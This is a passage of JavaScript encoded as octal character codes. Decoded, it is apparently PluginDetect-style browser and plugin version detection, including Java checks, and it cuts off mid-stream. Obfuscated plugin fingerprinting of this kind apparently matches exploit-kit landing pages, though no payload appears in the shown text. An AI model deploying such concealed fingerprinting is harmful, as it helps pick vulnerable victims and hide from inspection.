0175, 0175, 073, 0144, 056, 0151, 0163, 0107, 0145, 0143, 0153, 0157, 075, 050, 057, 0107, 0145, 0143, 0153, 0157, 0134, 0163, 052, 0134, 057, 0134, 0163, 052, 0134, 0144, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 046, 046, 050, 057, 0107, 0145, 0143, 0153, 0157, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0153, 051, 073, 0144, 056, 0166, 0145, 0162, 0107, 0145, 0143, 0153, 0157, 075, 0144, 056, 0151, 0163, 0107, 0145, 0143, 0153, 0157, 077, 0144, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 050, 057, 0162, 0166, 0134, 0163, 052, 0134, 072, 0134, 0163, 052, 050, 0133, 0134, 056, 0134, 054, 0134, 0144, 0135, 053, 051, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 077, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 072, 042, 060, 056, 071, 042, 051, 072, 0156, 0165, 0154, 0154, 073, 0144, 056, 0151, 0163, 0103, 0150, 0162, 0157, 0155, 0145, 075, 050, 057, 0103, 0150, 0162, 0157, 0155, 0145, 0134, 0163, 052, 0134, 057, 0134, 0163, 052, 050, 0134, 0144, 0133, 0134, 0144, 0134, 056, 0135, 052, 051, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 073, 0144, 056, 0166, 0145, 0162, 0103, 0150, 0162, 0157, 0155, 0145, 075, 0144, 056, 0151, 0163, 0103, 0150, 0162, 0157, 0155, 0145, 077, 0144, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 051, 072, 0156, 0165, 0154, 0154, 073, 0144, 056, 0151, 0163, 0123, 0141, 0146, 0141, 0162, 0151, 075, 050, 050, 057, 0101, 0160, 0160, 0154, 0145, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0152, 051, 0174, 0174, 050, 041, 0152, 046, 046, 041, 0144, 056, 0151, 0163, 0103, 0150, 0162, 0157, 0155, 0145, 051, 051, 046, 046, 050, 057, 0123, 0141, 0146, 0141, 0162, 0151, 0134, 0163, 052, 0134, 057, 0134, 0163, 052, 050, 0134, 0144, 0133, 0134, 0144, 0134, 056, 0135, 052, 051, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 073, 0144, 056, 0166, 0145, 0162, 0123, 0141, 0146, 0141, 0162, 0151, 075, 0144, 056, 0151, 0163, 0123, 0141, 0146, 0141, 0162, 0151, 046, 046, 050, 057, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0134, 0163, 052, 0134, 057, 0134, 0163, 052, 050, 0134, 0144, 0133, 0134, 0144, 0134, 056, 0135, 052, 051, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 077, 0144, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 051, 072, 0156, 0165, 0154, 0154, 073, 0144, 056, 0151, 0163, 0117, 0160, 0145, 0162, 0141, 075, 050, 057, 0117, 0160, 0145, 0162, 0141, 0134, 0163, 052, 0133, 0134, 057, 0135, 077, 0134, 0163, 052, 050, 0134, 0144, 053, 0134, 056, 077, 0134, 0144, 052, 051, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 073, 0144, 056, 0166, 0145, 0162, 0117, 0160, 0145, 0162, 0141, 075, 0144, 056, 0151, 0163, 0117, 0160, 0145, 0162, 0141, 046, 046, 050, 050, 057, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0134, 0163, 052, 0134, 057, 0134, 0163, 052, 050, 0134, 0144, 053, 0134, 056, 077, 0134, 0144, 052, 051, 057, 0151, 051, 056, 0164, 0145, 0163, 0164, 050, 0154, 051, 0174, 0174, 061, 051, 077, 0160, 0141, 0162, 0163, 0145, 0106, 0154, 0157, 0141, 0164, 050, 0122, 0145, 0147, 0105, 0170, 0160, 056, 044, 061, 054, 061, 060, 051, 072, 0156, 0165, 0154, 0154, 073, 0144, 056, 0141, 0144, 0144, 0127, 0151, 0156, 0105, 0166, 0145, 0156, 0164, 050, 042, 0154, 0157, 0141, 0144, 042, 054, 0144, 056, 0150, 0141, 0156, 0144, 0154, 0145, 0162, 050, 0144, 056, 0162, 0165, 0156, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 054, 0144, 051, 051, 0175, 054, 0151, 0156, 0151, 0164, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0164, 0150, 0151, 0163, 054, 0142, 054, 0144, 054, 0141, 075, 0173, 0163, 0164, 0141, 0164, 0165, 0163, 072, 055, 063, 054, 0160, 0154, 0165, 0147, 0151, 0156, 072, 060, 0175, 073, 0151, 0146, 050, 041, 0143, 056, 0151, 0163, 0123, 0164, 0162, 0151, 0156, 0147, 050, 0144, 051, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 0151, 0146, 050, 0144, 056, 0154, 0145, 0156, 0147, 0164, 0150, 075, 075, 061, 051, 0173, 0143, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0145, 0154, 0151, 0155, 0151, 0164, 0145, 0162, 075, 0144, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 0144, 075, 0144, 056, 0164, 0157, 0114, 0157, 0167, 0145, 0162, 0103, 0141, 0163, 0145, 050, 051, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 057, 0134, 0163, 057, 0147, 054, 042, 042, 051, 073, 0142, 075, 0143, 056, 0120, 0154, 0165, 0147, 0151, 0156, 0163, 0133, 0144, 0135, 073, 0151, 0146, 050, 041, 0142, 0174, 0174, 041, 0142, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 0141, 056, 0160, 0154, 0165, 0147, 0151, 0156, 075, 0142, 073, 0151, 0146, 050, 041, 0143, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0142, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 051, 051, 0173, 0142, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 0156, 0165, 0154, 0154, 073, 0142, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 0156, 0165, 0154, 0154, 073, 0142, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 060, 075, 0156, 0165, 0154, 0154, 073, 0142, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 0156, 0165, 0154, 0154, 073, 0142, 056, 0160, 0154, 0165, 0147, 0151, 0156, 0116, 0141, 0155, 0145, 075, 0144, 0175, 0143, 056, 0147, 0141, 0162, 0142, 0141, 0147, 0145, 075, 0146, 0141, 0154, 0163, 0145, 073, 0151, 0146, 050, 0143, 056, 0151, 0163, 0111, 0105, 046, 046, 041, 0143, 056, 0101, 0143, 0164, 0151, 0166, 0145, 0130, 0105, 0156, 0141, 0142, 0154, 0145, 0144, 046, 046, 0144, 041, 075, 075, 042, 0112, 0141, 042, 053, 042, 0166, 0141, 042, 051, 0173, 0141, 056, 0163, 0164, 0141, 0164, 0165, 0163, 075, 055, 062, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 0141, 056, 0163, 0164, 0141, 0164, 0165, 0163, 075, 061, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0141, 0175, 054, 0146, 0120, 0165, 0163, 0150, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 054, 0141, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0164, 0150, 0151, 0163, 073, 0151, 0146, 050, 0143, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0141, 051, 046, 046, 050, 0143, 056, 0151, 0163, 0106, 0165, 0156, 0143, 050, 0142, 051, 0174, 0174, 050, 0143, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0142, 051, 046, 046, 0143, 056, 0151, 0163, 0106, 0165, 0156, 0143, 050, 0142, 0133, 060, 0135, 051, 046, 046, 060, 074, 0142, 056, 0154, 0145, 0156, 0147, 0164, 0150, 051, 051, 051, 0173, 0141, 056, 0160, 0165, 0163, 0150, 050, 0142, 051, 0175, 0175, 054, 0143, 0141, 0154, 0154, 0101, 0162, 0162, 0141, 0171, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0164, 0150, 0151, 0163, 054, 0141, 073, 0151, 0146, 050, 0143, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0142, 051, 051, 0173, 0146, 0157, 0162, 050, 0141, 075, 060, 073, 0141, 074, 0142, 056, 0154, 0145, 0156, 0147, 0164, 0150, 073, 0141, 053, 053, 051, 0173, 0151, 0146, 050, 0142, 0133, 0141, 0135, 075, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0143, 056, 0143, 0141, 0154, 0154, 050, 0142, 0133, 0141, 0135, 051, 073, 0142, 0133, 0141, 0135, 075, 0156, 0165, 0154, 0154, 0175, 0175, 0175, 054, 0143, 0141, 0154, 0154, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0143, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0164, 0150, 0151, 0163, 054, 0141, 075, 0142, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0143, 051, 077, 0143, 056, 0154, 0145, 0156, 0147, 0164, 0150, 072, 055, 061, 073, 0151, 0146, 050, 060, 074, 0141, 046, 046, 0142, 056, 0151, 0163, 0106, 0165, 0156, 0143, 050, 0143, 0133, 060, 0135, 051, 051, 0173, 0143, 0133, 060, 0135, 050, 0142, 054, 0141, 076, 061, 077, 0143, 0133, 061, 0135, 072, 060, 054, 0141, 076, 062, 077, 0143, 0133, 062, 0135, 072, 060, 054, 0141, 076, 063, 077, 0143, 0133, 063, 0135, 072, 060, 051, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0142, 056, 0151, 0163, 0106, 0165, 0156, 0143, 050, 0143, 051, 051, 0173, 0143, 050, 0142, 051, 0175, 0175, 0175, 054, 044, 044, 0151, 0163, 0115, 0151, 0156, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0150, 054, 0147, 054, 0144, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0145, 075, 0141, 056, 0151, 0156, 0151, 0164, 050, 0150, 051, 054, 0146, 054, 0142, 075, 055, 061, 054, 0152, 075, 0173, 0175, 073, 0151, 0146, 050, 0145, 056, 0163, 0164, 0141, 0164, 0165, 0163, 074, 060, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0145, 056, 0163, 0164, 0141, 0164, 0165, 0163, 0175, 0146, 075, 0145, 056, 0160, 0154, 0165, 0147, 0151, 0156, 073, 0147, 075, 0141, 056, 0146, 0157, 0162, 0155, 0141, 0164, 0116, 0165, 0155, 050, 0141, 056, 0151, 0163, 0116, 0165, 0155, 050, 0147, 051, 077, 0147, 056, 0164, 0157, 0123, 0164, 0162, 0151, 0156, 0147, 050, 051, 072, 050, 0141, 056, 0151, 0163, 0123, 0164, 0162, 0116, 0165, 0155, 050, 0147, 051, 077, 0141, 056, 0147, 0145, 0164, 0116, 0165, 0155, 050, 0147, 051, 072, 042, 060, 042, 051, 051, 073, 0151, 0146, 050, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 041, 075, 061, 051, 0173, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 0147, 054, 0144, 054, 0143, 051, 073, 0151, 0146, 050, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 061, 0175, 0175, 0141, 056, 0143, 0154, 0145, 0141, 0156, 0165, 0160, 050, 051, 073, 0151, 0146, 050, 0146, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 041, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 0142, 075, 0146, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 074, 075, 060, 056, 065, 077, 0146, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 072, 050, 0146, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 075, 075, 060, 056, 067, 077, 061, 072, 050, 0146, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 075, 075, 075, 0156, 0165, 0154, 0154, 077, 060, 072, 050, 0141, 056, 0143, 0157, 0155, 0160, 0141, 0162, 0145, 0116, 0165, 0155, 0163, 050, 0146, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 054, 0147, 054, 0146, 051, 076, 075, 060, 077, 061, 072, 055, 060, 056, 061, 051, 051, 051, 0175, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0175, 0175, 054, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0145, 0154, 0151, 0155, 0151, 0164, 0145, 0162, 072, 042, 054, 042, 054, 044, 044, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0147, 054, 0144, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0145, 075, 0141, 056, 0151, 0156, 0151, 0164, 050, 0147, 051, 054, 0146, 054, 0142, 054, 0150, 075, 0173, 0175, 073, 0151, 0146, 050, 0145, 056, 0163, 0164, 0141, 0164, 0165, 0163, 074, 060, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0156, 0165, 0154, 0154, 0175, 073, 0146, 075, 0145, 056, 0160, 0154, 0165, 0147, 0151, 0156, 073, 0151, 0146, 050, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 041, 075, 061, 051, 0173, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 0156, 0165, 0154, 0154, 054, 0144, 054, 0143, 051, 073, 0151, 0146, 050, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 0146, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 075, 061, 0175, 0175, 0141, 056, 0143, 0154, 0145, 0141, 0156, 0165, 0160, 050, 051, 073, 0142, 075, 050, 0146, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 0174, 0174, 0146, 056, 0166, 0145, 0162, 0163, 0151, 0157, 0156, 060, 051, 073, 0142, 075, 0142, 077, 0142, 056, 0162, 0145, 0160, 0154, 0141, 0143, 0145, 050, 0141, 056, 0163, 0160, 0154, 0151, 0164, 0116, 0165, 0155, 0122, 0145, 0147, 0170, 054, 0141, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0145, 0154, 0151, 0155, 0151, 0164, 0145, 0162, 051, 072, 0142, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0142, 0175, 0175, 054, 0143, 0154, 0145, 0141, 0156, 0165, 0160, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0141, 075, 0164, 0150, 0151, 0163, 073, 0151, 0146, 050, 0141, 056, 0147, 0141, 0162, 0142, 0141, 0147, 0145, 046, 046, 0141, 056, 0151, 0163, 0104, 0145, 0146, 0151, 0156, 0145, 0144, 050, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0103, 0157, 0154, 0154, 0145, 0143, 0164, 0107, 0141, 0162, 0142, 0141, 0147, 0145, 051, 051, 0173, 0167, 0151, 0156, 0144, 0157, 0167, 056, 0103, 0157, 0154, 0154, 0145, 0143, 0164, 0107, 0141, 0162, 0142, 0141, 0147, 0145, 050, 051, 0175, 0175, 054, 0141, 0144, 0144, 0127, 0151, 0156, 0105, 0166, 0145, 0156, 0164, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 054, 0143, 051, 0173, 0166, 0141, 0162, 040, 0145, 075, 0164, 0150, 0151, 0163, 054, 0141, 075, 0167, 0151, 0156, 0144, 0157, 0167, 054, 0142, 073, 0151, 0146, 050, 0145, 056, 0151, 0163, 0106, 0165, 0156, 0143, 050, 0143, 051, 051, 0173, 0151, 0146, 050, 0141, 056, 0141, 0144, 0144, 0105, 0166, 0145, 0156, 0164, 0114, 0151, 0163, 0164, 0145, 0156, 0145, 0162, 051, 0173, 0141, 056, 0141, 0144, 0144, 0105, 0166, 0145, 0156, 0164, 0114, 0151, 0163, 0164, 0145, 0156, 0145, 0162, 050, 0144, 054, 0143, 054, 0146, 0141, 0154, 0163, 0145, 051, 0175, 0145, 0154, 0163, 0145, 0173, 0151, 0146, 050, 0141, 056, 0141, 0164, 0164, 0141, 0143, 0150, 0105, 0166, 0145, 0156, 0164, 051, 0173, 0141, 056, 0141, 0164, 0164, 0141, 0143, 0150, 0105, 0166, 0145, 0156, 0164, 050, 042, 0157, 0156, 042, 053, 0144, 054, 0143, 051, 0175, 0145, 0154, 0163, 0145, 0173, 0142, 075, 0141, 0133, 042, 0157, 0156, 042, 053, 0144, 0135, 073, 0141, 0133, 042, 0157, 0156, 042, 053, 0144, 0135, 075, 0145, 056, 0167, 0151, 0156, 0110, 0141, 0156, 0144, 0154, 0145, 0162, 050, 0143, 054, 0142, 051, 0175, 0175, 0175, 0175, 054, 0167, 0151, 0156, 0110, 0141, 0156, 0144, 0154, 0145, 0162, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0144, 054, 0143, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0144, 050, 051, 073, 0151, 0146, 050, 0164, 0171, 0160, 0145, 0157, 0146, 040, 0143, 075, 075, 042, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 042, 051, 0173, 0143, 050, 051, 0175, 0175, 0175, 054, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 060, 072, 0133, 0135, 054, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 072, 0133, 0135, 054, 0162, 0165, 0156, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0166, 0141, 0162, 040, 0142, 075, 0173, 0175, 073, 0141, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 075, 0164, 0162, 0165, 0145, 073, 0141, 056, 0143, 0141, 0154, 0154, 0101, 0162, 0162, 0141, 0171, 050, 0141, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 060, 051, 073, 0141, 056, 0143, 0141, 0154, 0154, 0101, 0162, 0162, 0141, 0171, 050, 0141, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 051, 073, 0151, 0146, 050, 0141, 056, 0157, 0156, 0104, 0157, 0156, 0145, 0105, 0155, 0160, 0164, 0171, 0104, 0151, 0166, 051, 0173, 0141, 056, 0157, 0156, 0104, 0157, 0156, 0145, 0105, 0155, 0160, 0164, 0171, 0104, 0151, 0166, 050, 051, 0175, 0175, 054, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 072, 0146, 0141, 0154, 0163, 0145, 054, 044, 044, 0157, 0156, 0127, 0151, 0156, 0144, 0157, 0167, 0114, 0157, 0141, 0144, 0145, 0144, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0142, 051, 0173, 0151, 0146, 050, 0141, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 051, 0173, 0141, 056, 0143, 0141, 0154, 0154, 050, 0142, 051, 0175, 0145, 0154, 0163, 0145, 0173, 0141, 056, 0146, 0120, 0165, 0163, 0150, 050, 0142, 054, 0141, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 051, 0175, 0175, 0175, 054, 044, 044, 0157, 0156, 0104, 0145, 0164, 0145, 0143, 0164, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0141, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 0150, 054, 0147, 054, 0143, 054, 0142, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0141, 056, 0151, 0156, 0151, 0164, 050, 0150, 051, 054, 0153, 054, 0145, 054, 0152, 075, 0173, 0175, 073, 0151, 0146, 050, 0144, 056, 0163, 0164, 0141, 0164, 0165, 0163, 075, 075, 055, 063, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 040, 055, 061, 0175, 0145, 075, 0144, 056, 0160, 0154, 0165, 0147, 0151, 0156, 073, 0151, 0146, 050, 041, 0141, 056, 0151, 0163, 0101, 0162, 0162, 0141, 0171, 050, 0145, 056, 0146, 0165, 0156, 0143, 0163, 051, 051, 0173, 0145, 056, 0146, 0165, 0156, 0143, 0163, 075, 0133, 0135, 0175, 0151, 0146, 050, 0145, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 0104, 0157, 0156, 0145, 041, 075, 061, 051, 0173, 0153, 075, 0141, 056, 0151, 0163, 0115, 0151, 0156, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 077, 0141, 056, 0151, 0163, 0115, 0151, 0156, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 0150, 054, 042, 060, 042, 054, 0143, 054, 0142, 051, 072, 0141, 056, 0147, 0145, 0164, 0126, 0145, 0162, 0163, 0151, 0157, 0156, 050, 0150, 054, 0143, 054, 0142, 051, 0175, 0151, 0146, 050, 0145, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 041, 075, 055, 060, 056, 065, 046, 046, 0145, 056, 0151, 0156, 0163, 0164, 0141, 0154, 0154, 0145, 0144, 041, 075, 060, 056, 065, 051, 0173, 0141, 056, 0143, 0141, 0154, 0154, 050, 0147, 051, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0151, 0146, 050, 0145, 056, 0116, 0117, 0124, 0106, 051, 0173, 0141, 056, 0146, 0120, 0165, 0163, 0150, 050, 0147, 054, 0145, 056, 0146, 0165, 0156, 0143, 0163, 051, 073, 0162, 0145, 0164, 0165, 0162, 0156, 040, 060, 0175, 0162, 0145, 0164, 0165, 0162, 0156, 040, 061, 0175, 0175, 054, 0144, 0151, 0166, 072, 0156, 0165, 0154, 0154, 054, 0144, 0151, 0166, 0111, 0104, 072, 042, 0160, 0144, 0160, 0144, 042, 054, 0144, 0151, 0166, 0127, 0151, 0144, 0164, 0150, 072, 065, 060, 054, 0160, 0154, 0165, 0147, 0151, 0156, 0123, 0151, 0172, 0145, 072, 061, 054, 0145, 0155, 0160, 0164, 0171, 0104, 0151, 0166, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0144, 075, 0164, 0150, 0151, 0163, 054, 0142, 054, 0150, 054, 0143, 054, 0141, 054, 0146, 054, 0147, 073, 0151, 0146, 050, 0144, 056, 0144, 0151, 0166, 046, 046, 0144, 056, 0144, 0151, 0166, 056, 0143, 0150, 0151, 0154, 0144, 0116, 0157, 0144, 0145, 0163, 051, 0173, 0146, 0157, 0162, 050, 0142, 075, 0144, 056, 0144, 0151, 0166, 056, 0143, 0150, 0151, 0154, 0144, 0116, 0157, 0144, 0145, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 061, 073, 0142, 076, 075, 060, 073, 0142, 055, 055, 051, 0173, 0143, 075, 0144, 056, 0144, 0151, 0166, 056, 0143, 0150, 0151, 0154, 0144, 0116, 0157, 0144, 0145, 0163, 0133, 0142, 0135, 073, 0151, 0146, 050, 0143, 046, 046, 0143, 056, 0143, 0150, 0151, 0154, 0144, 0116, 0157, 0144, 0145, 0163, 051, 0173, 0146, 0157, 0162, 050, 0150, 075, 0143, 056, 0143, 0150, 0151, 0154, 0144, 0116, 0157, 0144, 0145, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 061, 073, 0150, 076, 075, 060, 073, 0150, 055, 055, 051, 0173, 0147, 075, 0143, 056, 0143, 0150, 0151, 0154, 0144, 0116, 0157, 0144, 0145, 0163, 0133, 0150, 0135, 073, 0164, 0162, 0171, 0173, 0143, 056, 0162, 0145, 0155, 0157, 0166, 0145, 0103, 0150, 0151, 0154, 0144, 050, 0147, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0146, 051, 0173, 0175, 0175, 0175, 0151, 0146, 050, 0143, 051, 0173, 0164, 0162, 0171, 0173, 0144, 056, 0144, 0151, 0166, 056, 0162, 0145, 0155, 0157, 0166, 0145, 0103, 0150, 0151, 0154, 0144, 050, 0143, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0146, 051, 0173, 0175, 0175, 0175, 0175, 0151, 0146, 050, 041, 0144, 056, 0144, 0151, 0166, 051, 0173, 0141, 075, 0144, 0157, 0143, 0165, 0155, 0145, 0156, 0164, 056, 0147, 0145, 0164, 0105, 0154, 0145, 0155, 0145, 0156, 0164, 0102, 0171, 0111, 0144, 050, 0144, 056, 0144, 0151, 0166, 0111, 0104, 051, 073, 0151, 0146, 050, 0141, 051, 0173, 0144, 056, 0144, 0151, 0166, 075, 0141, 0175, 0175, 0151, 0146, 050, 0144, 056, 0144, 0151, 0166, 046, 046, 0144, 056, 0144, 0151, 0166, 056, 0160, 0141, 0162, 0145, 0156, 0164, 0116, 0157, 0144, 0145, 051, 0173, 0164, 0162, 0171, 0173, 0144, 056, 0144, 0151, 0166, 056, 0160, 0141, 0162, 0145, 0156, 0164, 0116, 0157, 0144, 0145, 056, 0162, 0145, 0155, 0157, 0166, 0145, 0103, 0150, 0151, 0154, 0144, 050, 0144, 056, 0144, 0151, 0166, 051, 0175, 0143, 0141, 0164, 0143, 0150, 050, 0146, 051, 0173, 0175, 0144, 056, 0144, 0151, 0166, 075, 0156, 0165, 0154, 0154, 0175, 0175, 054, 0104, 0117, 0116, 0105, 0146, 0165, 0156, 0143, 0163, 072, 0133, 0135, 054, 0157, 0156, 0104, 0157, 0156, 0145, 0105, 0155, 0160, 0164, 0171, 0104, 0151, 0166, 072, 0146, 0165, 0156, 0143, 0164, 0151, 0157, 0156, 050, 051, 0173, 0166, 0141, 0162, 040, 0143, 075, 0164, 0150, 0151, 0163, 054, 0141, 054, 0142, 073, 0151, 0146, 050, 041, 0143, 056, 0167, 0151, 0156, 0114, 0157, 0141, 0144, 0145, 0144, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0151, 0146, 050, 0143, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 046, 046, 0143, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 046, 046, 0143, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 0133, 0143, 056, 0127, 0114, 0146, 0165, 0156, 0143, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 061, 0135, 041, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0146, 0157, 0162, 050, 0141, 040, 0151, 0156, 040, 0143, 051, 0173, 0142, 075, 0143, 0133, 0141, 0135, 073, 0151, 0146, 050, 0142, 046, 046, 0142, 056, 0146, 0165, 0156, 0143, 0163, 051, 0173, 0151, 0146, 050, 0142, 056, 0117, 0124, 0106, 075, 075, 063, 051, 0173, 0162, 0145, 0164, 0165, 0162, 0156, 0175, 0151, 0146, 050, 0142, 056, 0146, 0165, 0156, 0143, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 046, 046, 0142, 056, 0146, 0165, 0156, 0143, 0163, 0133, 0142, 056, 0146, 0165, 0156, 0143, 0163, 056, 0154, 0145, 0156, 0147, 0164, 0150, 055, 061, 0135, 041, 075, 075, 0156, 0165, 0154, 0154, 051, 0173, 